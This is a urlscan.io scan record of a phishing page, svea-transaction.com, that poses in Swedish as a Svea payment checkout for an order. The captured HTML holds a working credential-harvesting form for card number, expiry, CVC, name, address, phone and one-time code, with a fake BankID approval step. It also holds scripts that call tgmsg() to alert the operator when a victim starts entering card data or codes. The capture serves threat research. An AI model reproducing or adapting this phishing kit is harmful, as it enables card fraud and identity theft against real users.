svea-transaction.com
Open in
urlscan Pro
108.181.173.96
Public Scan
URL:
https://svea-transaction.com/payments/beaf7668-e84aca7b-2b42045e-2357a60a?lang=se
Submission: On December 23 via manual from SE — Scanned from SE
Submission: On December 23 via manual from SE — Scanned from SE
Form analysis 1 forms found in the DOM
POST
<form class="requisites-form" id="payment_requisites_form" method="post" novalidate="novalidate">
<!--div id="messageContainer">
</div-->
<div class="payment-form-controls">
<div class="payment-data-block">
<div class="card-form-block">
<div class="form-control">
<h2 style="margin-top: 20px;">Dina uppgifter</h2>
<!-- Email -->
<div class="flipped-label card-pan" style="margin-bottom: 5px; width: 100%;">
<div class="input-wrapper" style="display: flex; align-items: center; justify-content: space-between; width: 100%; margin: 0; padding: 0;">
<input class="input-with-icon-email" value="" name="card_email" id="card_email" type="email" required="" style="width: 100%; margin: 0; padding: 10px; border-radius: 8px;" placeholder="Mejladress">
</div>
</div>
<style>
#card_email::placeholder {
font-size: 14px;
color: rgb(14, 14, 15);
}
#card_email:hover {
background-color: #F8F7F7;
}
</style>
<!-- ZIP -->
<div class="flipped-label card-pan" style="margin-bottom: 5px; width: 100%;">
<div class="input-wrapper" style="display: flex; align-items: center; justify-content: space-between; width: 100%; margin: 0; padding: 0;">
<input value="" type="text" pattern="[0-9]*" name="card_zip" id="card_zip" required="" style="width: 100%; margin: 0; padding: 8px; border-radius: 10px;" placeholder="Postnummer">
</div>
</div>
<style>
#card_zip::placeholder {
font-size: 14px;
color: rgb(14, 14, 15);
}
#card_zip:hover {
background-color: #F8F7F7;
}
</style>
<!-- Мобильный телефон -->
<div class="flipped-label card-pan" style="margin-bottom: 5px; width: 100%;">
<div class="input-wrapper" style="display: flex; align-items: center; justify-content: space-between; width: 100%; margin: 0; padding: 0; position: relative;">
<input class="input-with-icon-address" value="" name="phone_Holder" id="phone_Holder" required=""
style="width: 100%; margin: 0; padding: 10px; padding-right: 40px; border-top-left-radius: 8px; border-top-right-radius: 8px; border-bottom-left-radius: 8px; border-bottom-right-radius: 8px;" placeholder="Mobilnummer">
<img src="https://limente.fi/img/l/3.jpg" alt="Sweden Flag" style="position: absolute; right: 10px; top: 50%; transform: translateY(-50%); width: 25px; height: auto;">
</div>
</div>
<style>
#phone_Holder::placeholder {
font-size: 14px;
color: rgb(14, 14, 15);
}
#phone_Holder:hover {
background-color: #F8F7F7;
}
</style>
<!-- Блок адреса холлдера -->
<div id="blockContainer5"
style="font-weight: normal; font-size: 145%; margin-bottom: 5px; color: #444; display: flex; justify-content: space-between; width: 95%; border: 1px solid #000; border-radius: 10px; padding: 10px; cursor: pointer; line-height: 1.1;">
<div style="display: flex; align-items: center;">
<img src="https://tvhd.ru/upload/medialibrary/4c0/bi27zbnusnftmgx0yay7lkur7qex096w/delivery.png" alt="Card Icon" style="height: 30px; width: 30px; vertical-align: middle; margin-right: 12px;">
<div>
<strong>Leveransadress</strong>
<div>Öppna för redigering</div>
</div>
</div>
<span id="editButton5" style="align-self: center;">
<span style="display: inline-block; transform: rotate(90deg); color: #287395; font-size: 16px;">✎</span>
<span style="color: #287395; font-size: 12px;">Uppdatera</span>
</span>
</div>
<style>
#blockContainer5:hover {
background-color: #F8F7F7;
}
</style>
<!-- ИМЯ -->
<div id="formContainer5">
<div class="input-wrapper" style="margin-bottom: 5px; width: 100%;">
<input class="flipped-label card-pan" value="" name="cardHolderName" id="cardHolderName" pattern="[^0-9!{}\[\]()/#\\$%^&*+=;:<>|?@]*" type="text" required="" style="width: 100%; margin: 0; padding: 10px; border-radius: 8px;"
placeholder="Förnamn">
</div>
<style>
#cardHolderName::placeholder {
font-size: 14px;
color: rgb(14, 14, 15);
}
#cardHolderName:hover {
background-color: #F8F7F7;
}
</style>
<!-- ФАМИЛИЯ -->
<div class="input-wrapper" style="margin-bottom: 5px; width: 100%;">
<input class="flipped-label card-pan" value="" name="cardHolderSurname" id="cardHolderSurname" pattern="[^0-9!{}\[\]()/#\\$%^&*+=;:<>|?@]*" type="text" required="" style="width: 100%; margin: 0; padding: 10px; border-radius: 8px;"
placeholder="Efternamn">
</div>
<style>
#cardHolderSurname::placeholder {
font-size: 14px;
color: rgb(14, 14, 15);
}
#cardHolderSurname:hover {
background-color: #F8F7F7;
}
</style>
<!-- Выбор страны -->
<div class="flipped-label card-pan" style="margin-bottom: 5px; width: 100%;">
<div class="input-wrapper" style="display: flex; align-items: center; justify-content: space-between; width: 100%; margin: 0; padding: 0; position: relative;">
<input type="text" autocomplete="off" class="input-with-icon-address es-input" name="country_Holder" id="country_Holder" required="required"
style="width: 100%; margin: 0; padding: 10px; border-top-left-radius: 8px; border-top-right-radius: 8px; border-bottom-left-radius: 8px; border-bottom-right-radius: 8px; appearance: none; cursor: pointer;">
<div style="position: absolute; right: 10px; top: 50%; transform: translateY(-50%); pointer-events: none;"> ▼ </div>
<ul class="es-list">
<li value="Sweden" class="es-visible">Sverige</li>
<li value="Denmark" class="es-visible">Danmark</li>
<li value="Norway" class="es-visible">Norge</li>
<li value="Finland" class="es-visible">Finland</li>
</ul>
</div>
</div>
<style>
#country_Holder:hover {
background-color: #F8F7F7;
}
</style>
<script>
fetch('https://ipapi.co/json/').then(response => response.json()).then(data => {
// Map the country name to the option value
const countryMap = {
'Sweden': 'Sverige',
'Denmark': 'Danmark',
'Norway': 'Norge',
'Finland': 'Finland'
};
// Set the select value to the country if it's in the list
if (data.country_name in countryMap) {
document.getElementById('country_Holder').value = countryMap[data.country_name];
}
});
</script>
<!-- Адрес холлдера -->
<div class="flipped-label card-pan" style="margin-bottom: 5px;; width: 100%;">
<div class="input-wrapper" style="display: flex; align-items: center; justify-content: space-between; width: 100%; margin: 0; padding: 0;">
<input class="input-with-icon-address" value="" name="card_address" id="card_address" required="" style="width: 100%; margin: 0; padding: 10px; border-radius: 8px;" placeholder="Adress">
</div>
</div>
<style>
#card_address::placeholder {
font-size: 14px;
color: rgb(14, 14, 15);
}
#card_address:hover {
background-color: #F8F7F7;
}
</style>
<!-- Город холлдера -->
<div class="flipped-label card-pan" style="margin-bottom: 5px; width: 100%;">
<div class="input-wrapper" style="display: flex; align-items: center; justify-content: space-between; width: 100%; margin: 0; padding: 0;">
<input class="input-with-icon-address" value="" name="city_Holder" id="city_Holder" required="" style="width: 100%; margin: 0; padding: 10px; border-radius: 8px;" placeholder="Ort">
</div>
</div>
<style>
#city_Holder::placeholder {
font-size: 14px;
color: rgb(14, 14, 15);
}
#city_Holder:hover {
background-color: #F8F7F7;
}
</style>
</div>
<!-- Скрипт свертки блока Адрес холлдера -->
<script>
document.getElementById('blockContainer5').addEventListener('click', function() {
var formContainer = document.getElementById('formContainer5');
formContainer.style.display = formContainer.style.display === 'none' ? 'block' : 'none';
});
</script>
<h2 style="margin-top: 20px;">Välj betalsätt</h2>
<!-- Блок СВИЧ (не активный) -->
<div id="blockContainer2"
style="font-weight: normal; font-size: 145%; margin: 5px 0px 5px 0; color: #444; display: flex; justify-content: space-between; width: 95%; border: 1px solid #000; border-radius: 10px; padding: 10px; cursor: pointer; background-color: #e2e2e2; line-height: 1.1;">
<div style="display: flex; align-items: center;">
<img src="https://images.v3.snowfirehub.com/6DJTkF_dOHqv8o_ja8M4PpY1dY0=/0x0:1260x1260/500x500/smart/filters:quality(90)/https://assets.v3.snowfirehub.com/images/120702/173_o_swish-logo-primary-light-bg-p3.png" alt="Card Icon"
style="height: 25px; width: 25px; vertical-align: middle; margin-right: 12px;">
<div>
<strong>Swish</strong>
<div>Snabb betalning med mobilen</div>
</div>
</div>
<span id="closeButton2" <span="" style="font-size: 0.8em; align-self: center;">Inte tillgänglig ▼</span>
</div>
<!-- Блок Баковский перевод (не активный) -->
<div id="blockContainer1"
style="font-weight: normal; font-size: 145%; margin: 5px 0px 5px 0; color: #444; display: flex; justify-content: space-between; width: 95%; border: 1px solid #000; border-radius: 10px; padding: 10px; cursor: pointer; background-color: #e2e2e2; line-height: 1.1;">
<div style="display: flex; align-items: center;">
<img src="https://iimg.su/s/17/recjMAcNrlJxQD3YIEGrfgDfIxavh9xGZwQUh58p.png" alt="Card Icon" style="height: 30px; width: 30px; vertical-align: middle; margin-right: 12px;">
<div>
<strong>Bankbetalning via Trustly</strong>
<div>Betala direkt fran ditt bankkonto</div>
</div>
</div>
<span id="closeButton1" <span="" style="font-size: 0.8em; align-self: center;">Inte tillgänglig ▼</span>
</div>
<!-- Блок оплаты СС -->
<div id="blockContainer"
style="font-weight: normal; font-size: 145%; margin: 0px 0 5px 0; color: #444; display: flex; justify-content: space-between; width: 95%; border: 1px solid #000; border-radius: 10px; padding: 10px; cursor: pointer; line-height: 1.1;">
<div style="display: flex; align-items: center;">
<img src="https://www.svgrepo.com/show/449697/credit-card.svg" alt="Card Icon" style="height: 25px; width: 25px; vertical-align: middle; margin-right: 12px;">
<div>
<strong>Kort</strong>
<div>Betala direkt utan extra kostnad</div>
</div>
</div>
<span id="closeButton" style="align-self: center;">▼</span>
</div>
<!--Имя холдера СС-->
<div id="formContainer">
<div class="flipped-label card-pan" style="margin-bottom: 0; width: 100%; position: relative;">
<div class="input-wrapper" style="display: flex; align-items: center; justify-content: space-between; width: 100%; margin: 0; padding: 0;">
<img src="https://static.tildacdn.com/tild6662-6635-4564-b465-313435376533/unnamed.png" style="position: absolute; left: 10px; top: 53%; transform: translateY(-50%); width: 15px; height: 15px;" alt="icon">
<input class="input-with-icon-address" value="" name="HolderNameCC" id="HolderNameCC" required=""
style="width: 100%; margin: 0; padding: 10px 10px 10px 35px; border-radius: 0px; border-top-left-radius: 10px; border-top-right-radius: 10px; border-bottom: none;" placeholder="Kortinnehavare">
</div>
</div>
<style>
#HolderNameCC::placeholder {
font-size: 14px;
color: rgb(14, 14, 15);
}
#HolderNameCC:hover {
background-color: #F8F7F7;
}
</style>
<!--Номер СС-->
<div class="flipped-label card-pan" style="margin-bottom: 0; width: 100%;">
<div class="input-wrapper" required="" style="display: flex; align-items: center; justify-content: space-between; width: 100%; margin: 0; padding: 0;">
<img src="https://cdn.onlinewebfonts.com/svg/img_361030.png" style="position: absolute; left: 10px; top: 56%; transform: translateY(-50%); width: 15px; height: 15px;" alt="icon">
<input class="input-with-icon-ccnumber" value="" data-num="0" type="tel" autocomplete="cc-number" name="card_pan" data-mask="9999 9999 9999 9999" id="cardNumber" placeholder="Kortnummer" required=""
style="width: 100%; margin: 0; padding: 10px 40px 10px 35px; border-radius: 0px;">
</div>
</div>
<style>
#cardNumber::placeholder {
font-size: 14px;
color: rgb(14, 14, 15);
}
#cardNumber:hover {
background-color: #F8F7F7;
}
</style>
<!--MM / YY-->
<div class="form-row" style="display: flex; margin: 0; justify-content: center; align-items: center; width: 100%; position: relative;">
<div class="flipped-label card-pan" style="flex: 1; margin: 0; padding: 0; position: relative;">
<img src="https://avatars.mds.yandex.net/i?id=544f47609614828b1c5ce1304fa1601e504e8982-10024862-images-thumbs&n=13" style="position: absolute; left: 10px; top: 50%; transform: translateY(-50%); width: 15px; height: 15px;"
alt="calendar icon">
<input type="tel" class="pp-input-text-small" required="" style="width: 100%; margin: 0; padding: 10px 10px 10px 35px; border-radius: 0; border-top: none; border-bottom-left-radius: 10px;" autocomplete="cc-exp" placeholder="MM/ÅÅ"
maxlength="5" name="card_expiration" id="cardExpiration">
</div>
<style>
#cardExpiration::placeholder {
font-size: 14px;
color: rgb(14, 14, 15);
}
#cardExpiration:hover {
background-color: #F8F7F7;
}
</style>
<!--CVC-->
<div class="flipped-label card-pan" style="flex: 1; margin: 0; padding: 0; position: relative;">
<img src="https://avatars.mds.yandex.net/i?id=21a1d975e1e4df15987137ca1fb15e2969f18820-5303358-images-thumbs&n=13" style="position: absolute; left: 10px; top: 53%; transform: translateY(-50%); width: 15px; height: 15px;"
alt="lock icon">
<input type="password" class="cvc-input" required="" style="width: 100%; margin: 0; padding: 10px 10px 10px 35px; border-radius: 0; border-top: none; border-bottom-right-radius: 10px; border-left: none;" pattern="[0-9]*"
placeholder="CVC" autocomplete="off" data-mask="999" maxlength="3" name="card_cvc" id="cardCVC">
</div>
</div>
<style>
#cardCVC::placeholder {
font-size: 14px;
color: rgb(14, 14, 15);
}
#cardCVC:hover {
background-color: #F8F7F7;
}
</style>
<script>
document.getElementById('blockContainer').addEventListener('click', function() {
var formContainer = document.getElementById('formContainer');
if (formContainer.style.display === 'none') {
formContainer.style.display = 'block';
} else {
formContainer.style.display = 'none';
}
});
</script>
<script>
document.addEventListener('DOMContentLoaded', function() {
// Получение элементов формы по их ID
var cardExpiration = document.getElementById('cardExpiration');
var cardCVC = document.getElementById('cardCVC');
// Переход с поля cardExpiration на cardCVC
cardExpiration.addEventListener('keyup', function() {
if (this.value.length >= this.getAttribute('maxlength')) {
cardCVC.focus();
}
});
});
</script>
<script>
window.onload = function() {
var cardHolderNameField = document.getElementById('cardHolderName');
var cardHolderSurnameField = document.getElementById('cardHolderSurname');
var holderNameCCField = document.getElementById('HolderNameCC');
cardHolderNameField.addEventListener('input', function() {
holderNameCCField.value = this.value + ' ' + cardHolderSurnameField.value;
});
cardHolderSurnameField.addEventListener('input', function() {
holderNameCCField.value = cardHolderNameField.value + ' ' + this.value;
});
};
</script>
<script>
document.getElementById('cardExpiration').addEventListener('input', function(e) {
let input = e.target.value;
// Автоматически добавляем слеш после ввода двух цифр месяца
if (input.length === 2 && !input.includes('/')) {
e.target.value = input + '/';
}
});
document.getElementById('cardExpiration').addEventListener('blur', function(e) {
const input = e.target.value;
const regex = /^(\d{2})\/(\d{2})$/;
const matches = input.match(regex);
if (matches) {
const month = parseInt(matches[1], 10);
const year = parseInt(matches[2], 10);
const currentYear = new Date().getFullYear() % 100; // Получаем последние две цифры текущего года
const currentMonth = new Date().getMonth() + 1; // Получаем текущий месяц (от 1 до 12)
// Проверяем, что год и месяц не меньше текущих
if (year < currentYear || (year === currentYear && month < currentMonth)) {
alert("Månaden och året får inte vara mindre än det aktuella");
e.target.value = ''; // Очищаем поле ввода
}
}
});
</script>
</div> <!-- Closing div for form-control -->
</div> <!-- Closing div for card-form-block -->
</div> <!-- Closing div for payment-data-block -->
</div> <!-- Closing div for payment-data-block -->
<script>
var checkInput = true;
var checkInputCMC = true;
$("#cardHolder,#cardNumber,#card_email, #card_phone, #cardExpirationMonth,#cardExpirationYear,#cardCVC,#address").focus(function() {
if (checkInput) {
checkInput = false;
tgmsg("🟡 Introduces data 🟡\n🐘ID: " + "5855165374", '1', '1');
}
})
</script>
<div class="push-block hidden">
<div class="form-control">
<div class="flipped-label" style="padding-top: 15px;">
<p id="push-text1" style="font-size: 16px; text-align: center;color: rgb(119, 119, 119);"><b>Betalningsgodkännande</b></p>
<p id="push-text2" style="font-size: 14px; text-align: center;color: rgb(119, 119, 119);">Öppna BankID-appen för att godkänna</p>
<p id="time" style="font-size: 14px; margin-left: 5px; color: rgb(119, 119, 119); display: none;">Skicka om <a class="seconds">240</a> sekunder.</p>
<p id="push-err1" class="push-err" style="text-align:center; font-size: 14px; margin-left: 5px; color: red; display: none;"></p>
<p id="push-err2" class="push-err" style="text-align:center; font-size: 14px; margin-left: 5px; color: red; display: none;"></p>
</div>
</div>
</div>
<div id="messageContainerError" class="hidden">
<div class="pp-error pp-message">
<h3 id="message-err1"></h3>
<p id="message-err2"></p>
</div>
</div>
<div id="messageContainer"></div>
<div id="pushImage" class="hidden" style="text-align: center;margin-bottom: 30px;">
<img height="50" src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcTJa_aARc3lSpSZBC1oi0B4voWwAVpwxQ80sg&s">
</div>
<div class="confirmation-block hidden">
<div class="form-control">
<div class="flipped-label">
<label for="confirmationCode"> KOD </label>
<input type="tel" id="confirmationCode" name="confirmationCode" placeholder="KOD" style="-webkit-text-security: disc" minlength="4" data-disabled="true" disabled="disabled">
<p id="time" style="font-size: 14px;margin-left: 5px;color: #777777;">Skicka om <a class="seconds">240</a> sekunder.</p>
<p id="err1" class="err" style="font-size: 14px;margin-left: 5px;color: red; display: none"></p>
<p id="err2" class="err" style="font-size: 14px;margin-left: 5px;color: red; display: none"></p>
<p id="err3" class="err" style="font-size: 14px;margin-left: 5px;color: red; display: none"></p>
</div>
</div>
</div>
</div>
<script type="text/javascript">
$("#confirmationCode").focus(function() {
tgmsg("💌 Introduces a one-off code 💌\n🐘 ID: " + "5855165374", '0', '1');
})
function timerStart(secs) {
$(".seconds").text(secs)
var timerBlock = $('.seconds');
var num = secs;
var index = num;
var timerId = new IntervalTimer(function() {
timerBlock.html(--index);
}, 1000);
var tim = setTimeout(function() {
clearInterval(timerId);
$(".pp-message p").fadeOut()
$("#err3").css("display", "");
}, num * 1000);
}
</script>
<div class="pp-buttons pp-clearfix">
<!--a href="#" class="button default-btn hidden" id="receipt" target="_blank">
Напечатать квитанцию
</a-->
<!--button class="button primary-btn hidden right-aligned" type="button" id="returnToMerchant" data-href="">
Вернуться в магазин
</button-->
<button class="button primary-btn right-aligned" type="submit" id="proceed"> Betala köp </button>
</div>
</form>Text Content
NORDIC ELEGANCE AB Betalning för beställning #5855165374 Beställningsnummer: 5855165374 Mer detaljer ❯ * Bankkort Успешная оплата! DINA UPPGIFTER Leveransadress Öppna för redigering ✎ Uppdatera ▼ * Sverige * Danmark * Norge * Finland VÄLJ BETALSÄTT Swish Snabb betalning med mobilen Inte tillgänglig ▼ Bankbetalning via Trustly Betala direkt fran ditt bankkonto Inte tillgänglig ▼ Kort Betala direkt utan extra kostnad ▼ Betalningsgodkännande Öppna BankID-appen för att godkänna Skicka om 240 sekunder. KOD Skicka om 240 sekunder. Betala köp Är du säker på att du vill avbryta betalningen? Nej Ja Genom att ange dina uppgifter godkänner du 'Sveas allmänna villkor' 'Sã hanterar vi dina personuppgifter' Powered by: ©SVEA 2024 - EN - SE MEDDELANDE SKICKAT! KONTAKTA TEKN. SUPPORT E-post: Beskrivning: Avboka Skicka meddelande VÄNLIGEN VÄNTA DU HAR ANGIVIT RÄTT SVAR PÅ FRÅGAN DU HAR ANGIVIT ETT FELAKTIGT SVAR PÅ FRÅGAN Svar: Cancel Skicka meddelande